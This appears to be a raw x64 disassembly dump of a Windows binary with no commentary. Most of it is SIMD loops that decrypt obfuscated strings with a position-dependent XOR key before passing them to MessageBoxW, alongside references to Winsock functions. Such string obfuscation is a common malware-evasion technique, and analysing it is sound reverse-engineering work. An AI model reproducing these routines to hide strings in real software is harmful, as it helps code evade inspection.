movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, ecx
paddb xmm11, xmm0
movd xmm1, dword [rbp + 0x274]
xorps xmm11, xmm1
movd dword [rbp + 0x274], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, ecx
paddb xmm10, xmm0
movd xmm1, dword [rbp + 0x278]
xorps xmm10, xmm1
movd dword [rbp + 0x278], xmm10
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
andps xmm13, xmm12
packuswb xmm13, xmm13
packuswb xmm13, xmm13
movd xmm0, ecx
paddb xmm13, xmm0
movd xmm1, dword [rbp + 0x27c]
xorps xmm13, xmm1
movd dword [rbp + 0x27c], xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm15, xmm0
andps xmm15, xmm12
packuswb xmm15, xmm15
packuswb xmm15, xmm15
movd xmm0, ecx
paddb xmm15, xmm0
movd xmm1, edx
xorps xmm15, xmm1
movd dword [rbp + 0x280], xmm15
mov r8d, reloc.WS2_32.dll_sendto
mov eax, r8d
lea r9, [rbp + 0x270]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x14002df80
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0xf10]
call fcn.140040340
nop
mov r8d, 0xff
lea rdx, [rbp + 0xf10]
mov rcx, r12
call fcn.14000a6c0
nop
lea rcx, [rbp + 0xf10]
call fcn.140040140
movups xmm0, xmmword [str.40v_V_]
movups xmmword [rbp + 0xc38], xmm0
movups xmm1, xmmword [0x1400d6498]
movups xmmword [rbp + 0xc48], xmm1
movups xmm0, xmmword [0x1400d64a8]
movups xmmword [rbp + 0xc58], xmm0
movsd xmm0, qword [0x1400d64b8]
movsd qword [rbp + 0xc68], xmm0
movzx eax, word [0x1400d64c0]
mov word [rbp + 0xc70], ax
cmp r15d, 2
jl 0x14002e138
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0xc38]
mov edx, dword [rbp + 0x1320]
nop dword [rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm8
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm12
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add ebx, 8
lea rcx, [rcx + 8]
cmp ebx, 0x38
jl 0x14002e050
cmp ebx, 0x3a
jge 0x14002e17b
movsxd rax, ebx
lea r8, [rbp + 0xc38]
add r8, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, bl
sub al, cl
add al, 0x39
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x3a
jl 0x14002e150
lea rdx, [rbp + 0xc38]
lea rcx, [rbp + 0xf30]
call fcn.140040340
nop
mov r8d, 0xff
lea rdx, [rbp + 0xf30]
mov rcx, r12
call fcn.14000a6c0
nop
lea rcx, [rbp + 0xf30]
call fcn.140040140
nop
lea rcx, [rbp + 0x1510]
call fcn.1400038f0
nop
lea rcx, [rbp + 0x14c0]
call fcn.140040140
nop
lea rcx, [rbp + 0x14a0]
call fcn.1400038f0
nop
lea rcx, [rbp + 0x1478]
call fcn.140040140
nop
lea rcx, [rbp + 0x13b8]
call fcn.140040140
nop
lea rcx, [rbp + 0x1378]
call fcn.140040140
nop
lea rcx, [rbp + 0x13f8]
call fcn.140040140
jmp 0x140022a55
movups xmm0, xmmword [0x1400d6c88]
movups xmmword [rbp + 0xaa8], xmm0
movups xmm1, xmmword [0x1400d6c98]
movups xmmword [rbp + 0xab8], xmm1
movzx eax, byte [0x1400d6ca8]
mov byte [rbp + 0xac8], al
cmp r15d, 2
jl 0x14002e348
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0xaa8]
mov edx, dword [rbp + 0x1320]
nop word [rax + rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm8
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm12
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add ebx, 8
lea rcx, [rcx + 8]
cmp ebx, 0x20
jl 0x14002e260
cmp ebx, 0x21
jge 0x14002e38b
movsxd rax, ebx
lea r8, [rbp + 0xaa8]
add r8, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, bl
sub al, cl
add al, 0x39
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x21
jl 0x14002e360
lea rdx, [rbp + 0xaa8]
lea rcx, [rbp + 0xf50]
call fcn.140040340
nop
mov r8d, 0xff
lea rdx, [rbp + 0xf50]
mov rcx, r12
call fcn.14000a6c0
nop
lea rcx, [rbp + 0xf50]
call fcn.140040140
nop
lea rcx, [rbp + 0x14c0]
call fcn.140040140
nop
lea rcx, [rbp + 0x14a0]
call fcn.1400038f0
nop
lea rcx, [rbp + 0x1478]
call fcn.140040140
nop
lea rcx, [rbp + 0x13b8]
call fcn.140040140
nop
lea rcx, [rbp + 0x1378]
call fcn.140040140
nop
lea rcx, [rbp + 0x13f8]
call fcn.140040140
mov al, 1
jmp 0x140022a57
movups xmm0, xmmword [0x1400d69e8]
movups xmmword [rbp + 0xa80], xmm0
movups xmm1, xmmword [0x1400d69f8]
movups xmmword [rbp + 0xa90], xmm1
movzx eax, byte [0x1400d6a08]
mov byte [rbp + 0xaa0], al
cmp r15d, 2
jl 0x14002e548
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0xa80]
mov edx, dword [rbp + 0x1320]
nop
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm8
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm12
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add ebx, 8
lea rcx, [rcx + 8]
cmp ebx, 0x20
jl 0x14002e460
cmp ebx, 0x21
jge 0x14002e58b
movsxd rax, ebx
lea r8, [rbp + 0xa80]
add r8, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, bl
sub al, cl
add al, 0x39
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x21
jl 0x14002e560
lea rdx, [rbp + 0xa80]
lea rcx, [rbp + 0xf70]
call fcn.140040340
nop
mov r8d, 0xff
lea rdx, [rbp + 0xf70]
mov rcx, r12
call fcn.14000a6c0
nop
lea rcx, [rbp + 0xf70]
jmp 0x14002e3c9
mov rdx, qword [rbp + 0x1490]
cmp rdx, 0xf
jbe 0x14002e605
inc rdx
mov rcx, qword [rbp + 0x1478]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002e600
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002e600
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400bbb20
mov qword [rbp + 0x1488], rbx
mov qword [rbp + 0x1490], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1478], 0
jmp 0x140029adb
movsd xmm0, qword [0x1400d5a40]
movsd qword [rsp + 0x60], xmm0
mov eax, dword [0x1400d5a48]
mov dword [rsp + 0x68], eax
mov edx, 0x45
mov word [rsp + 0x60], dx
xor word [rsp + 0x62], 0x3a
xor word [rsp + 0x64], 0x3b
xor word [rsp + 0x66], 0x3c
xor ax, 0x3d
mov word [rsp + 0x68], ax
xor word [rsp + 0x6a], 0x3e
movups xmm4, xmmword [0x1400d6120]
movups xmmword [rbp + 0x5e0], xmm4
movups xmm0, xmmword [0x1400d6130]
movups xmmword [rbp + 0x5f0], xmm0
movq xmm5, qword [0x1400d6140]
movq qword [rbp + 0x600], xmm5
movzx eax, word [0x1400d6148]
mov word [rbp + 0x608], ax
mov r8d, ebx
cmp r15d, 2
jl 0x14002e8ba
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
pshufhw xmm0, xmm8, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x5e0], xmm3
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
pshufhw xmm0, xmm11, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x5e8]
xorps xmm3, xmm0
movq qword [rbp + 0x5e8], xmm3
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
pshufhw xmm0, xmm10, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x5f0]
xorps xmm3, xmm0
movq qword [rbp + 0x5f0], xmm3
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
pshufhw xmm0, xmm13, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x5f8]
xorps xmm3, xmm0
movq qword [rbp + 0x5f8], xmm3
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm15, xmm0
pshufhw xmm0, xmm15, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, xmm5
xorps xmm3, xmm0
movq qword [rbp + 0x600], xmm3
mov r8d, edi
mov eax, r8d
lea r9, [rbp + 0x5e0]
lea r9, [r9 + rax*2]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x15
jl 0x14002e8d0
mov r9d, r13d
lea r8, [rsp + 0x60]
lea rdx, [rbp + 0x5e0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
mov rdx, qword [rbp + 0x13d0]
cmp rdx, 0xf
jbe 0x14002e95f
inc rdx
mov rcx, qword [rbp + 0x13b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002e95a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002e95a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400bbb20
mov qword [rbp + 0x13c8], rbx
mov qword [rbp + 0x13d0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x13b8], 0
mov rdx, qword [rbp + 0x1390]
cmp rdx, 0xf
jbe 0x14002968b
inc rdx
mov rcx, qword [rbp + 0x1378]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140029686
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140029686
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
movsd xmm0, qword [0x1400d47f8]
movsd qword [rbp - 0x58], xmm0
mov ecx, dword [0x1400d4800]
mov dword [rbp - 0x50], ecx
movzx eax, word [0x1400d4804]
mov edx, 0x45
mov word [rbp - 0x58], dx
xor word [rbp - 0x56], 0x3a
xor word [rbp - 0x54], 0x3b
xor word [rbp - 0x52], 0x3c
xor cx, 0x3d
mov word [rbp - 0x50], cx
xor word [rbp - 0x4e], 0x3e
xor ax, 0x3f
mov word [rbp - 0x4c], ax
movups xmm0, xmmword [0x1400d4c90]
movups xmmword [rbp + 0xcd0], xmm0
movups xmm1, xmmword [0x1400d4ca0]
movups xmmword [rbp + 0xce0], xmm1
movups xmm0, xmmword [0x1400d4cb0]
movups xmmword [rbp + 0xcf0], xmm0
movups xmm1, xmmword [0x1400d4cc0]
movups xmmword [rbp + 0xd00], xmm1
mov eax, dword [0x1400d4cd0]
mov dword [rbp + 0xd10], eax
movzx eax, word [0x1400d4cd4]
mov word [rbp + 0xd14], ax
cmp r15d, 2
jl 0x14002eb5e
lea rcx, [rbp + 0xcd0]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rbx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add ebx, 8
lea rcx, [rcx + 0x10]
cmp ebx, 0x20
jl 0x14002ea70
cmp ebx, 0x23
jge 0x14002eb9f
movsxd rax, ebx
lea r8, [rbp + 0xcd0]
lea r8, [r8 + rax*2]
nop dword [rax]
mov eax, 0x94f2095
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x37
movzx eax, bx
sub ax, cx
add ax, 0x39
xor word [r8], ax
inc ebx
lea r8, [r8 + 2]
cmp ebx, 0x23
jl 0x14002eb70
mov r9d, r13d
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0xcd0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, qword [rbp + 0x12d0]
test rcx, rcx
je 0x14002e40f
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov al, 1
jmp 0x140022a57
movups xmm0, xmmword [0x1400d6708]
movups xmmword [rbp + 0xaf8], xmm0
movups xmm1, xmmword [0x1400d6718]
movups xmmword [rbp + 0xb08], xmm1
movups xmm0, xmmword [0x1400d6728]
movups xmmword [rbp + 0xb18], xmm0
movzx eax, byte [0x1400d6738]
mov byte [rbp + 0xb28], al
mov r8d, ebx
cmp r15d, 2
jl 0x14002ed1d
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0xaf8]
mov edx, dword [rbp + 0x1320]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm8
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm12
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x14002ec30
cmp r8d, 0x31
jge 0x14002ed5f
movsxd rax, r8d
lea r9, [rbp + 0xaf8]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x14002ed30
xorps xmm0, xmm0
movups xmmword [rbp + 0x948], xmm0
mov qword [rbp + 0x958], rbx
mov qword [rbp + 0x960], rbx
lea rax, [rbp + 0xaf8]
nop
inc r14
cmp byte [rax + r14], 0
jne 0x14002ed80
mov r8, r14
lea rdx, [rbp + 0xaf8]
lea rcx, [rbp + 0x948]
call fcn.140045100
nop
mov r8d, 0xff
lea rdx, [rbp + 0x948]
mov rcx, r12
call fcn.14000a6c0
nop
mov rdx, qword [rbp + 0x960]
cmp rdx, 0xf
jbe 0x140022a55
inc rdx
mov rcx, qword [rbp + 0x948]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022a50
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140022a50
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1400026b0
nop
lea r8, [rbp + 0x808]
lea rdx, [rbp + 0x1320]
lea rcx, str.exists
call fcn.140004280
nop
mov rdx, r9
lea rcx, [rbp + 0x1138]
call fcn.140002740
lea rdx, [0x1400e52c8]
lea rcx, [rbp + 0x1138]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rdx, r9
lea rcx, [rbp + 0x1150]
call fcn.140002740
lea rdx, [0x1400e52c8]
lea rcx, [rbp + 0x1150]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rdx, r9
lea rcx, [rbp + 0x1120]
call fcn.140002740
lea rdx, [0x1400e52c8]
lea rcx, [rbp + 0x1120]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
call fcn.1400026b0
nop
call fcn.1400026b0
int3